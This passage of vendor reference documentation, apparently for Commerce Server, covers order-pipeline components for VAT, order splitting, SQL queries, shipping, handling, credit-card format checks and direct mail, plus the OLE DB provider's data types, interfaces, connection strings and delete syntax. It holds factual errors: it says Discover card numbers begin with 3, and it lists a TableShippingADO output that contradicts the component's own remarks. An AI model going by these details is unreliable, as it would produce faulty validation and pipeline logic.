item._product_tax_rate | Order | Dynamic. Default shown. The tax rate for the product. The key name is determined by value in the Rate Item Key configuration box.

Values Written

The SimpleVATTax component assigns values to the following keys in the Order dictionary.

Key | Description
item._tax_total | The total tax for items with this stockkeeping unit (SKU).
item._tax_vat_item | The VAT for the item.
item._tax_included | The amount of tax included in the cost of the item.
_tax_total | The total tax for this order.
_tax_included | The amount of tax included in the cost of the order.

Remarks

The SimpleVATTax component calculates simple Value Added Tax (VAT).

The SimpleVATTax component always assigns zero (0) to the _tax_total keys for both the item and the order. The component does not handle fractions of currency units — all calculations are rounded to the nearest whole unit.

The combination of the values in the Key, Apply when, and Country boxes determine whether tax should be applied. The SimpleVATTax component first checks the Apply when value:

  • If it is set to Always, the tax is always applied to the order.
  • If the value in the Apply when box is set to Has any value, the tax is applied to the order whenever the order form contains any value for the ship_to_country key.
  • If the value in the Apply when box is set to Equal to Country, the component does a comparison between the value of the ship_to_country key on the order form and the text string in the Country box on this property page. If there is a match, the component applies the tax whose value is stored in the field specified in Rate Item Key.

Example

To specify that a VAT tax rate of 6.5% is charged for an item in Germany, do the following:

  1. Add a column for the VAT rate in Germany to your product table. The tax rate should be specified as a real number:

    ger_vat_tax_rate real NOT NULL

  2. Assign tax rates to each product in your product table using an SQL script. For this example, assign the 6.5% VAT rate to Product ABC. Type 6.5 into the ger_vat_tax_rate column in the Product ABC row.
  3. Enter the following values in the property page for the SimpleVATTax component in the Pipeline Editor:
    Box | Value
    Apply when | Always
    Country | GER
    Rate Item Key | _product_ger_vat_tax_rate

If the user types a country/region on the order form that is not specified in the SimpleVATTax component configuration, the values of the _tax_total and _tax_included keys in the order and in the items will not be set.


Splitter

Use this component to divide an order into groups based on a list of item keys. For example, in the Accept stage, the Splitter component can be used to divide orders by catalog and vendor; in the Shipping stage it can be used to divide an order into shipments by shipping methods and addresses.

Intended use: Order Processing pipeline, any stage.

Configuration Values

You can determine how the Splitter component divides orders by setting component properties. Use the following boxes on the OrderSplitter tab of the Component Properties dialog box to determine this information.

Box | Description
Output Structure | The name of the SimpleList object that points to the resulting dictionaries. The Splitter component creates one dictionary for each set of distinguisher values.
Input Distinguishers | A space-separated list of line item attributes (keys) to use to split the order. The defaults are the shipping_method_id and shipping_address_id keys, the distinguishers for splitting orders into multiple shipments.

Values Read

The Splitter component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
CacheManager | Context | A reference to a CacheManager object. If supplied, this component will automatically look up the shipping method name and write it to the output structure if shipping_method_id is a distinguisher.
ShipmentDistinguishers | Context | Optional. An array of strings containing the line item attributes (keys) to use to split shipments. The defaults are the shipping_method_id and shipping_address_id keys. This key is used only if no values are specified in the Input Distinguishers box. For example, Dict("ShipmentDistinguishers") = "quantity shipping_address_id name shipping_method_id ...".

Values Written

The Splitter component writes the following values to the Order dictionary.

Key | Description
dynamic (what the Output Structure is set to) | (Optional) The name of the SimpleList object that points to the resulting dictionaries. The Splitter component creates one dictionary for each set of distinguisher values. The Shipments key is used only if no other key is specified in the Output Structure box.

Remarks

For information about setting up the Splitter component to divide orders into multiple shipments, see Using the Splitter Component to Create Multiple Shipments.

Example

With the Splitter component, you can split an order any way you want. For example, you have four line items, numbered zero (0) through three (3) with the following attributes:

shipping_method_id | shipping_address_id | shipping_date | catalog |  | vendor
A | Home | ASAP |  | A |  | A
A | Home | ASAP |  | A |  | A
B | Work | ASAP |  | B |  | B
A | Work | 3/1 |  | C |  | B

If you split by shipping_method_id and shipping_address_id, to an output structure called _Shipments, you will get a SimpleList object of dictionaries on your order form called "shipments" with the following entries:

shipping_method_id | shipping_address_id | ItemIndexes
A | Home | 0,1
B | Work | 2
A | Work | 3

If you split by vendor, to an output structure called _Vendors, you will get a SimpleList object of dictionaries on your order form called "_Vendors" with the following entries:

Vendor | ItemIndexes
A | 0,1
B | 2,3

See Also

Shipping Object

Shipping Objects

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


SQLItemADO

Use this component to run a query for each item in an order form.

Intended use: Order Processing pipeline, Accept stage.

Configuration Values

You can determine the query the SQLItemADO component runs by setting component properties. Use the following boxes on the SQL Item (ADO) tab of the Component Properties dialog box to determine this information.

Box | Description
Connection String | The connection string to connect to the database. This may be a full connection string or a name in a connection map. If blank, the default connection string is used.
Query | The full SQL text of the query this component will run, or the name of a query whose full SQL text is defined in the Global.asa file in the QueryMap key.
Parameter List The parameters the component passes to the query. Separate multiple parameters with a single space. The following are the allowed parameters:
count
Passes the query the number of line items on the order.
index
Give the query the zero-based index number of this line item.
order.fieldname
Passes the value of the specified field in the order form.
item.fieldname
Passes the value of the specified field in the Item dictionary.
sum.fieldname
The query receives the sum of a particular field on the order.
sumq.fieldname
Passes the sum times the respective quantities.

Values Read

The SQLItemADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default query string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

None.

Remarks

The SQLItemADO component runs a query for each item in the items list, passing the specified order form fields as parameters to the query. These fields can include keys from either the Order or the Item dictionary.

The connection string must include either the full connection string (the data source name (DSN), database login ID, and database password) or the name of a named connection stored in the connection map.


SQLOrderADO

Use this component to run a single SQL query on an order, passing order parameters to the query.

Intended use: Order Processing pipeline, Accept stage.

Configuration Values

You can determine the query the SQLOrderADO component runs by setting component properties. Use the following boxes on the SQL Order (ADO) tab of the Component Properties dialog box to determine this information.

Box | Description
Connection String | The connection string to connect to the database. This may be a full connection string or a name in a connection map. If blank, the default connection string is used.
Query | The full SQL text of the query this component will run, or the name of a query whose full SQL text is defined in the Global.asa file in the QueryMap key.
Parameter List The parameters the component passes to the query. Separate multiple parameters with a single space. The following are the allowed parameters:
count
Passes the query the number of line items on the order.
order.fieldname
Passes the value of the specified field in the order form.
sum.fieldname
The query receives the sum of a particular field on the order.
sumq.fieldname
Passes the sum times the respective quantities.
Child Object Name | The name of a field that receives the data. The component uses the field only if the Use Child Object check box is selected.
Use Child Object | Indicates whether or not the component is to use the object specified in the Child Object Name box. If the check box is not selected, the component assumes there is no child object.

Values Read

The SQLOrderADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default connection string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

None.

Remarks

The SQLOrderADO component runs a SQL query once per order, passing the specified order parameters to the query. The component uses ActiveX Data Objects (ADO) to interface with the data source, and therefore supports COM+ transactions.

The connection string must include either the full connection string (the data source name (DSN), database login ID, and database password) or the name of a named connection stored in the connection map.


StepwiseShipping

Use this component in the multiple-shipment shipping architecture to calculate shipping costs for shipments. The StepwiseShipping component can handle charging for shipping by weight, by quantity, or by price.

Note

  • This component should never be inserted directly in a pipeline; it is run by the ShippingMethodRouter component.

Configuration Values

The ShippingMethodRouter component sets the following value in the Configuration dictionary before executing the StepwiseShipping component.

Key Description
mode The shipping calculation mode. The options are:
0
Use subtotal to calculate shipping.
1
Use quantity to calculate shipping.
2
Use weight to calculate shipping.

Values Read

The StepwiseShipping component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
TransactionConfigConnectionString | Context | The data connection string to the database containing the shipping rates.
shipments_to_process | Context | A SimpleList object of the shipments to process. Each shipment is represented by a dictionary.

The StepwiseShipping component also reads the following values for each item in each Shipment dictionary in the shipments_to_process SimpleList object.

Key | Description
_product_weight | Optional. The weight of an individual item. Needed only if weight is used to calculate shipping.
quantity | Optional. The quantity of an individual item. Needed only if quantity is used to calculate shipping.
_cy_oadjust_adjustedprice | Optional. The subtotal for an item. Needed only if the subtotal is used to calculate shipping.

Values Written

The StepwiseShipping component writes the following values to the Order dictionary.

Key | Description
shipments._cy_shipping_total | The shipping charges for each individual shipment.

Remarks

The StepwiseShipping component goes through the list of shipments. For each shipment, it retrieves the shipping rate from the shipping rate table, and calculates the shipping according to the mode specified.

If you use weight to calculate shipping, all items must have a weight or the component returns an error.

See Also

Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Object

ShippingMethodRouter


TableHandlingADO

Use this component to set the handling total on an order based on values retrieved from the database.

Intended use: Order Processing pipeline, Handling stage.

Configuration Values

You can determine when the TableHandlingADO component calculates the handling charge by setting component properties. Use the following boxes on the Table Handling (ADO) tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the handling charge. The values are:
Always
Default. Specifies that the handling charge is always applied to the order.
Equal to method
The handling charge should be applied when the value of shipping_method key in the Order dictionary is the same as the string specified in the Method box.
Has any value
Specifies that the handling charge should be applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when the value in the Apply when box is set to the value in the Equal to method box.
Connection String | The connection string to connect to the database. This may be a full DSN or a name in a connection map. If blank, the default connection string is used.
Query | The full SQL text of the query this component will run, or the name of a query whose full SQL text is defined in the Global.asa file in the QueryMap key.
Parameter List The parameters the component passes to the query. Separate multiple parameters with a single space. The following are the allowed parameters:
count
Passes the query the number of line items on the order.
order.fieldname
Passes the value of the specified field in the order form.
sum.fieldname
The query receives the sum of a particular field on the order.
sumq.fieldname
Passes the sum times the respective quantities.
Column | The name of the column in the database containing the handling charge.

Values Read

The TableHandlingADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
shipping_method | Order | Optional. The shipping method as a string.
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default query string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

The TableHandlingADO component assigns a value to the following key in the Order dictionary.

Key | Description
_handling_total | The total cost for handling the order.

Remarks

The TableHandlingADO component sets the value of the _handling_total key on the order form using values retrieved from the database.

The combination of the values in the Apply when and Method boxes determine whether or not the handling charge is applied to the order.

The TableHandlingADO component first checks the Apply when value. If it is set to Always, the handling charge is always applied to the order. If the value in the Apply when box is set to Has any value, the handling charge is applied to the order whenever the order form contains any value for the shipping_method key. If the value in the Apply when box is set to Equal to Method, the component does a comparison between the value of the shipping_method key on the order form and the text string in the Method box on this property page. If there is a match, the handling charge is applied.

If the component determines that the handling charge should be applied, it runs the query specified in the Query box. The query retrieves the handling charge from the database column specified in the Column box. The component then computes the handling charge.

The connection string must include either the full connection string (the data source name (DSN), database login ID, and database password) or the name of a named connection stored in the connection map.


TableShippingADO

Use this component to set the total shipping on an order by using values retrieved from the database.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

You can determine when the TableShippingADO component calculates the handling charge by setting component properties. Use the following boxes on the Table Shipping (ADO) tab of the Component Properties dialog box to determine this information.

Field | Description
Apply when Determines when to apply the shipping charge. The values are:
Always
Default. Specifies that the shipping charge is always applied to the order.
Equal to method
The shipping charge should be applied when the value of the shipping_method key in the Order dictionary is the same as the string specified in the Method box.
Has any value
Specifies that the shipping charge should be applied when the shipping_method key of the order has any non-null value.
Method | The shipping method to match against the value of the shipping_method key in the Order dictionary. Used when the value in the Apply when box is set to the value in the Equal to method box.
Connection String | The connection string to connect to the database. This may be a full connection string or a name in a connection map. If blank, the default connection string is used.
Query | The full SQL text of the query this component will run, or the name of a query whose full SQL text is defined in the Global.asa file in the QueryMap key.
Parameter List The parameters the component passes to the query. Separate multiple parameters with a single space. The following are the allowed parameters:
count
Passes the query the number of line items on the order.
order.fieldname
Passes the value of the specified field in the order form.
sum.fieldname
The query receives the sum of a particular field on the order.
sumq.fieldname
Passes the sum times the respective quantities.
Column | The name of the column in the database containing the handling charge.

Values Read

The TableShippingADO component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
shipping_method | Order | Optional. The shipping method as a string.
DefaultConnectionString | Context | Optional. The key in the Application dictionary containing the default query string.
ConnectionStringMap | Context | Optional. The map in which to look up the name of a mapped connection string.
QueryMap | Context | Optional. A reference to a dictionary containing a query map.

Values Written

The TableShippingADO component assigns a value to the following key in the Order dictionary.

Key | Description
_handling_total | The total cost for handling the order.

Remarks

The TableShippingADO component sets the value of the _shipping_total key on the order form using values retrieved from the database.

Be sure to remove the DefaultShipping component from the pipeline if you use the TableShippingADO component.

The combination of the values in the Key, Apply when, and Method boxes determine whether the shipping charge should be applied to the order.

The TableShippingADO component first checks the Apply when value. If it is set to Always, the shipping charge is always applied to the order. If the Apply when value is set to Has any value, the shipping charge is applied to the order whenever the order form contains any value for the shipping_method key. If the value in the Apply when box is set to the value in the Equal to Method box, the component does a comparison between the value of the shipping_method key on the order form and the text string in the Method box on this property page. If there is a match, the shipping charge is applied.

If the component determines that the shipping charge should be applied, it runs the query specified in the Query box, which retrieves the shipping charge from the database column specified in the Column box. The component then computes the shipping charge.

The value in the Parameter List box is used to specify parameters to the query, which usually includes a basis for the table lookup. The basis can be total cost of the order, or a merchant-defined value such as weight.

The following table illustrates some useful values for the Basis Item Key box.

Example Basis Item Key | Result
order._oadjust_subtotal | The subtotal on the order form.
sum.quantity | The sum of all quantities (total number of items ordered).
sum._oadjust_adjustedprice | The sum of adjusted prices.
sumq._iadjust_currentprice | The sum of current price times quantity for all items in the order.
sumq._product_weight | The total weight of order. (Assumes that the weight column exists in the product table, and that the query used by the QueryProdInfoADO component includes this field.)

For example, if the sumq._product_weight key is specified, and if the order has two items, one item weighing 2 pounds with a quantity of 3 and the other item weighing 4 pounds with a quantity of 1, then the basis value is 10 pounds.


ThrottleDMLPerformance

Use this component to control the speed the pipeline processes direct mail messages. This controls the load on the Simple Mail Transfer Protocol (SMTP) server.

Intended use: Direct Mailer pipeline, Throttle stage.

Configuration Values

None.

Values Read

The ThrottleDMLPerformance component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
delay_msec | Context | The delay between messages in milliseconds.

Values Written

None.

Remarks

An SMTP server can be overwhelmed by receiving too many messages at a time. For this reason, a direct mail pipeline may need to slow down delivery of messages to the server.

The ThrottleDMLPerformance component simply waits the number of milliseconds specified by the delay_msec key. The Direct Mailer service calculates the delay needed to maintain an appropriate delivery rate. It then sets the delay_msec value in the Context dictionary, which is read by the ThrottleDMLPerformance component.

See Also

AddAttachments

ComposeDMLMessage

CreateUPMCookie

SendPrecomposedMessage

VerifyMessageBody

VerifyRecipientData


ValidateCCNumber

Use this component to check the expiration date of a credit card and to perform a checksum test on the number. Checksum testing ensures that the format of the number is correct; it does not verify the validity of the account.

Intended use: Order Processing pipeline, Payment stage.

Configuration Values

You can determine when the ValidateCCNumber component checks the credit card by setting component properties. Use the following boxes on the Validate CC tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the credit card check. The values are:
Always
Default. Specifies that the format of the credit-card number is always checked.
Equal to method
Specifies that the format of the number should be checked when the value of the payment_method key in the Order dictionary is the same as the string specified for the Method box.
Has any value
Specifies that the format of the number should be checked when the payment_method key of the order has any non-null value.
Method | The payment method to match against the value of the payment_method key in the Order dictionary. Used when the value in the Apply when is set to Equal to method box.

Values Read

The ValidateCCNumber component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_cc_number | Order | The credit card number.
_cc_expmonth | Order | The expiration month as a string.
_cc_expyear | Order | The expiration year as a string.
cc_type | Order | The type of the credit card as a string. Must be one of the following six types: MasterCard, MC, VISA, Discover, AmericanExpress, AMEX. No other type will be validated.
MessageManager | Context | A reference to a MessageManager object, which uses the invalid credit card error constant (pur_badcc) to retrieve an error message.

Values Written

The ValidateCCNumber component writes the following values to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The ValidateCCNumber component returns error level 2 (OPPERRORLEV_WARN) when an error occurs.

The component writes error messages to the _Purchase_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badcc | The credit card has expired or has a bad number.

Remarks

The ValidateCCNumber component first determines whether the credit card type specified in the order.cc_type key is one of the types accepted by this component. Accepted types are VISA, MasterCard, AmericanExpress, Discover, and the abbreviations MC and AMEX.

The ValidateCCNumber component checks the values stored in the order._cc_expmonth and order._cc_expyear keys to confirm that the credit card has not expired.

If the card is an accepted type, the component then runs a checksum on the number stored in the order._cc_number key to ensure that the number is properly formed. For example, if the specified credit card type is Discover, a well-formed number must begin with a 3 and must consist of 16 digits.

See Also

MessageManager Object


VerifyMessageBody

Use this component to check the body of a direct mail message.

Although the component appears as VerifyMessageBody in the Pipeline Editor, its ProgID is Commerce.DMLVerifyMessageBody.

Intended use: Direct Mailer pipeline, Send E-mail stage.

Configuration Values

None.

Values Read

The VerifyMessageBody component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
user_flags | Order | A bit mask indicating elements of the message to check. Only the rightmost bit is currently used.
cdo_result | Order | The result code (an HRESULT) from the most recent Collaboration Data Objects (CDO) for Microsoft Windows 2000 operation.
cdo_message | Context | A reference to the CDO message object (CDO.Message).

Values Written

The VerifyMessageBody component writes the following values to the Order dictionary.

Key | Description
rcp_bypass | Boolean. Set to True so that other components will bypass further processing if errors exist.

Remarks

The VerifyMessageBody component checks the message body according to a set of user flags (user_flags). In the current component, only the rightmost bit is tested. If set (1), the component ensures that the message body is not blank. If the user flag is not set, or if the cdo_result key is not equal to S_OK, the component does nothing.

The component also checks for attachments and for the correct number of attachments.

If the body is blank and there are no attachments, the component sets the rcp_bypass key to True.

See Also

AddAttachments

ComposeDMLMessage

CreateUPMCookie

SendPrecomposedMessage

ThrottleDMLPerformance

VerifyRecipientData


VerifyRecipientData

Use this component to check the data about the recipient of a direct mail message.

Although the component appears as VerifyRecipientData in the Pipeline Editor, its ProgID is Commerce.DMLVerifyRecipientdata.

Intended use: Direct Mailer pipeline, Preprocess Recipient stage.

Configuration Values

None.

Values Read

The VerifyRecipientData component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
rcp_email | Order | The e-mail address of the recipient.
rcp_formatting Order Numeric. The format for the message. The options are:
0
Default formatting
1
Plain text
2
MIME
3
MHTML
This key overrides the default format.
default_formatting Context
Optional. Numeric. The default formatting for the message. The values are:
0
Default formatting
1
Plain text
2
MIME
3
MHTML

Values Written

The VerifyRecipientData component writes the following values to the Order dictionary.

Key | Description
rcp_bypass | Boolean. This key is set to True if there is a problem with the recipient data. This will make subsequent components skip or bypass this recipient.

Remarks

The VerifyRecipientData component checks multiple values in the pipeline dictionaries to verify data about the recipient. If any one of the checks fails, the component sets the rcp_bypass key to True so that subsequent components in the pipeline skip the recipient.

The component performs the following checks:

  • Tests the rcp_bypass key to see if it is True on entry. If True, the component does nothing further.
  • Ensures that the e-mail address key (rcp_email) is present and has a value.
  • Tests the formatting code (rcp_formatting) to see if it is empty. If empty, the component uses the default formatting.
  • Tests the formatting against text, MIME, or MHTML.

The VerifyRecipientData component does not check any of the personalization information. The direct mail sender must verify this data.

See Also

AddAttachments

ComposeDMLMessage

CreateUPMCookie

SendPrecomposedMessage

ThrottleDMLPerformance

VerifyMessageBody


OLE DB Provider for Commerce Server

An OLE DB provider is a COM component that accepts calls to the OLE DB API and processes that request against the data source. The OLE DB Provider for Commerce Server provides two distinct paths of functionality, the Profiling System and the Data Warehouse. The Fastload property passed in the connection string determines which of these functionalities is used.

The Profiling System is mainly concerned with single insertions and queries and the ability of the OLE DB Provider for Commerce Server to aggregate profile data across multiple data stores.

The Data Warehouse concentrates on bulk insertion and the ability of the OLE DB Provider for Commerce Server to automatically instantiate the parent classes when a child class is created.

This section contains:

  • Data Types Supported by OLE DB Provider. Describes the data types and their formats supported by the OLE DB Provider for Commerce Server.
  • OLE DB Interface Support. Lists the supported OLE DB 2.5 objects and interfaces.
  • Data Warehouse, Analysis, and OLE DB Provider. Describes the functionalities of the OLE DB Provider for Commerce Server as they are used by the Data Warehouse and the Business Analytics System.
  • Profiling System and OLE DB Provider. Describes the functionalities of the OLE DB Provider for Commerce Server as they are used by the Profiling System.
  • OLE DB Provider Error Messages for Data Warehouse and Analysis. Lists all the error messages associated with the OLE DB Provider for Commerce Server.

See Also

Code to Perform Bulk Operations Using ADO and SQL

Data Warehouse Schema

Extending the Data Warehouse


Data Types Supported by OLE DB Provider

The following topics describe the supported data types and their formats:

  • DateTime Format
  • String Format
  • Supported Data Types


DateTime Format

ActiveX Data Objects (ADO), OLE DB, and Open Database Connectivity (ODBC) applications should use the following escape clauses when specifying dates for input to INSERT and UPDATE statements. Use the 24-hour time format; do not use A.M or P.M. to indicate morning or evening:

  • {ts 'YYYY-MM-DD [HH:MM:SS.FFF]'}, for example, {ts '2000-10-31 23:59:59.999'}
  • {d 'YYYY-MM-DD'}, for example, {d '2000-10-31'}
  • {t 'HH:MM:SS'} for example, {t '23:59:59'}

For further information, see Writing International Transact-SQL Statements in SQL Books Online.

On import, if one member of a multi-valued DateTime member is invalid, none of the DateTime members are imported.


String Format

The Commerce database supports strings of 4000 characters. Since the Data Warehouse only supports strings of 512 characters, any string consisting of more than 512 characters will be truncated to 512 characters when it is imported.

For multi-valued strings, the count includes one additional character (the semicolon) per element, the length of the integer specifying the number of elements, plus one.


Supported Data Types

The following table contains the valid data types supported by the OLE DB Provider for Commerce Server. The Support column specifies whether the data type is supported by the Data Warehouse, the Profiling System, or both. Binary data is not supported by the Data Warehouse, but is supported by the Profiling System in the following contexts:

  • Access by means of a ProfileService object or a Recordset object.
  • Modification by means of a ProfileService object or a Record object.
TypeName | Support | Storage Data Types for SQL (Data Warehouse only) | Description
BINARY | Profiling System | varbinary | Binary
BOOL | Both | bit | Boolean (0 or 1)
CURRENCY | Both | money | 64-bit currency
DATE | Both | datetime | Standard date
DATETIME | Both | datetime | SQL Date-time
FILETIME | Data Warehouse | datetime | Standard file date/time stamp
FLOAT | Profiling System | float | 4-byte floating point number
IDENTITY | Data Warehouse | binary(6) | 48-bit numerical identifier Does not support multi-valued members
IDENTITY6 | Data Warehouse | binary(6) | 48-bit numerical identifier Does not support multi-valued members
IMAGE | Profiling System | varbinary | limit 8,000 bytes
INT64 | Data Warehouse | bigint | 64-bit integer Does not support multi-valued members
LONG | Data Warehouse | int | 32-bit integer
LONGREAL | Data Warehouse | float(53) | 64-bit floating point number
LONGTEXT | Profiling System | text | Unicode string of length 4000 characters
NUMBER | Profiling System | int | 4-byte integer
REAL | Data Warehouse | real | 32-bit floating point number
SHORT | Data Warehouse | smallint | 16-bit integer
STRING | Profiling System | nvarchar | Standard string
TIME | Profiling System | datetime | Standard time
UINT64 | Profiling System | bigint | 64-bit unsigned integer Does not support multi-valued members
ULONG | Data Warehouse | int | 32-bit unsigned integer Does not support multi-valued members
UUID | Data Warehouse | uniqueidentifier | Packed decimal number used for globally unique identifiers (GUID)
WORD | Data Warehouse | smallint | 16-bit unsigned integer Does not support multi-valued members
WSTR | Data Warehouse | nvarchar (255) | Unicode string of length 255
WSTR8, WSTR12. WSTR16, WSTR24, WSTR32, WSTR48, WSTR64, WSTR80, WSTR96, WSTR112, WSTR128, WSTR144, WSTR160, WSTR255, WSTR400, WSTR512 | Data Warehouse | nvarchar | Unicode string of designated length, WSTR8 is nvarchar (8), WSTR12 is nvarchar (12), and so on
WSTR1K, WSTR2K, WSTR4K | Profiling System | nvarchar | Unicode string of designated length, WSTR1K is nvarchar (1000), WSTR2K is nvarchar (2000), and so on

The following figure contains the supported conversion types for consumer-requested data.

The conversion chart for data types.


OLE DB Interface Support

The following table lists the OLE DB 2.5 objects and interfaces that are supported by the OLE DB Provider for Commerce Server.

Object | Interface | Support
Binder | IBindResource | Yes
 | ICreateRow | Yes
 | IDBBinderProperties | Yes
 | ISupportErrorInfo | No
Command | IAccessor | Yes
 | IColumnsInfo | No
 | IColumnsRowset | No
 | ICommand | Yes
 | ICommandPersist | No
 | ICommandPrepare | No
 | ICommandProperties | Yes
 | ICommandText | Yes
 | ICommandWithParameters | No
 | IConnectionPointContainer | No
 | IConvertType | No
 | IDBAsynchStatus | No
 | IDBInitialize | No
 | ISupportErrorInfo | No
Data Source | IConnectionPointContainer | No
 | IDBAsynchStatus | No
 | IDBCreateSession | Yes
 | IDBDataSourceAdmin | No
 | IDBInfo | No
 | IDBInitialize | Yes
 | IDBProperties | Yes
 | IDBResetProperties | No
 | IPersist | Yes
 | IPersistFile | No
 | ISupportErrorInfo | Yes
Error | IErrorInfo | Yes
 | IErrorRecords | Yes
Multiple Results | IMultipleResults | Yes
Row | IColumnsInfo | Yes
 | IColumnsInfo2 | Yes
 | IConnectionPointContainer | No
 | IConvertType | Yes
 | ICreateRow | Yes
 | IDBAsynchStatus | No
 | IDBInitialize | No
 | IGetSession | Yes
 | IRow | Yes
 | IRowChange | Yes
 | IRowSchemaChange | No
 | IScopedOperations | No
 | ISupportErrorInfo | No
Rowset | IAccessor | Yes
 | IChapteredRowset | No
 | IColumnsInfo | Yes
 | IColumnsRowset | No
 | IConnectionPointContainer | No
 | IConvertType | Yes
 | IDBAsynchStatus | No
 | IDBInitialize | No
 | IGetRow | No
 | IRowset | Yes
 | IRowsetChange | No
 | IRowsetChapterMember | No
 | IRowsetFind | No
 | IRowsetIdentity | No
 | IRowsetIndex | No
 | IRowsetInfo | Yes
 | IRowsetLocate | No
 | IRowsetRefresh | No
 | IRowsetScroll | No
 | IRowsetUpdate | No
 | IRowsetView | No
 | ISupportErrorInfo | No
Session | IAlterIndex | No
 | IAlterTable | No
 | IBindResource | No
 | IConnectionPointContainer | No
 | ICreateRow | Yes
 | IDBASynchStatus | No
 | IDBCreateCommand | Yes
 | IDBInitialize | No
 | IDBSchemaRowset | No
 | IGetDataSource | Yes
 | IIndexDefinition | No
 | IOpenRowset | Yes
 | ISessionProperties | Yes
 | ISupportErrorInfo | Yes
 | ITableDefinition | No
 | ITransaction | No
 | ITransactionJoin | No
 | ITransactionLocal | No
 | ITransactionObject | No


Data Warehouse, Analysis, and OLE DB Provider

This section describes the functionalities of the OLE DB Provider for Commerce Server as it is used by the Data Warehouse and the Business Analytics System.

This section contains:

  • Bind URLs. Describes the commands used to bind to a Row object.
  • OLE DB Connection Strings for the Data Warehouse. Describes the connection strings recognized by the OLE DB Provider for Commerce Server.
  • Delete Syntax. Describes the syntax for deleting data from the Data Warehouse.
  • Schema Change. Describes the steps needed to commit a change to the Data Warehouse logical schema.


Bind URLs

The OLE DB Provider for Commerce Server implements a Binder object that supports direct binding to the Session object or the DSO object using the Uniform Resource Locator (URL) naming convention.

The following table lists the custom URLs that can be bound. Note that "ClassNames" is both the name of a URL and the name of a field in the returned record.

URL | Description
ClassNames | Returns a record with a ClassNames field that contains a collection of all the class names.
DimensionNames | Returns a record with a ClassNames field that contains a collection of all the dimension class names.
FactNames | Returns a record with a ClassNames field that contains a collection of all the fact class names.
RelationNames | Returns a record with a ClassNames field that contains a collection of all the class relation names.

Example

The following Microsoft Visual Basic example displays the name of each fact class. This functionality is not available in Microsoft Visual Basic Scripting Edition (VBScript) because rec("ClassNames") returns an array of Strings, not an array of Variants of String type.

Dim rec, conn, savNames, sName
Set rec = CreateObject("ADODB.Record")
Set conn = CreateObject("ADODB.Connection")

conn.Open "URL=mscop://INPROCCONNECT/Server=servername:" & _
 "Database=dbname:Catalog=dwschema:fastload=true:" & _
 "Trusted_Connection=Yes"

rec.Open "FactNames", conn

savNames = rec("ClassNames")

For Each sName In savNames
   MsgBox sName
Next

rec.Close
Set rec = Nothing
Set conn = Nothing


OLE DB Connection Strings for the Data Warehouse

Two types of connection strings are recognized by the OLE DB Provider for Commerce Server for use with the Data Warehouse. These strings are:

  • "URL=mscop://InProcConnect/Server=myserver:Database=dbname: Catalog=DWSchema:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"
  • "Provider=commerce.dso.1;Data Source=mscop://InProcConnect/Server=myserver: Catalog=DWSchema:Database=dbname:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

For Windows NT Authentication use one of the following connection strings:

  • "URL=mscop://InProcConnect/Server=myserver:Database=dbname:Catalog=DWSchema:Trusted_Connection=true:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"
  • "URL=mscop://InProcConnect/Server=myserver:Database=dbname:Catalog=DWSchema:Trusted_Connection=Yes:FastLoad=True:Connection_Retry=10:Connection_Retry_Delay=30"

The name of the catalog must be "DWSchema".

The Fastload property must be set to True, which precludes the use of binary data. When the Fastload property is set to True you will not be able to read instance data in the classes, for example, select and update statements are not allowed.

The Connection_Retry option specifies the number of times the connection to the SQL provider will be retried when it encounters a problem. The Connection_Retry_Delay option specifies the seconds between each retry.


Delete Syntax

You can programmatically delete data from the Data Warehouse. A Data Deletion Data Transformation Services (DTS) task is provided for deleting all the data in the Data Warehouse, or for deleting Web log import data by using the TaskHistoryID property. For information about the Data Deletion DTS task, see Running the Data Deletion DTS Task.

The delete syntax format is:

   DELETE [FROM] BaseClassName
      [WITH (DELETEORPHANS | ONLYFACT | UPDATECHILDREN)]
      [WHERE where_clause]
BaseClassName
The name of the class containing the data to delete.
DELETEORPHANS
Specifies to delete any orphans produced by the delete operation. An orphan is an instance in a parent class (for example, a dimension class such as Date) that is not referenced by any of its child classes (for example, a fact class such as Request). You can periodically delete with the DELETEORPHAN option, but in general it is not necessary.
ONLYFACT
Specifies to only delete children of BaseClassName that are marked as FACT tables.
UPDATECHILDREN
Specifies to update the children, if any, of BaseClassName. For example, if you are deleting a parent class that has children referencing it, UPDATECHILDREN updates the child references to the default row.

where_clause - memberpath [NOT] operator testvalue [AND where_clause]

memberpath - [BaseClassName.][pathelements]MemberName
pathelements - (ParentName|RelationToParentName).[pathelements]
ParentName - the name of the class that is a parent to the class
immediately preceding it in memberpath
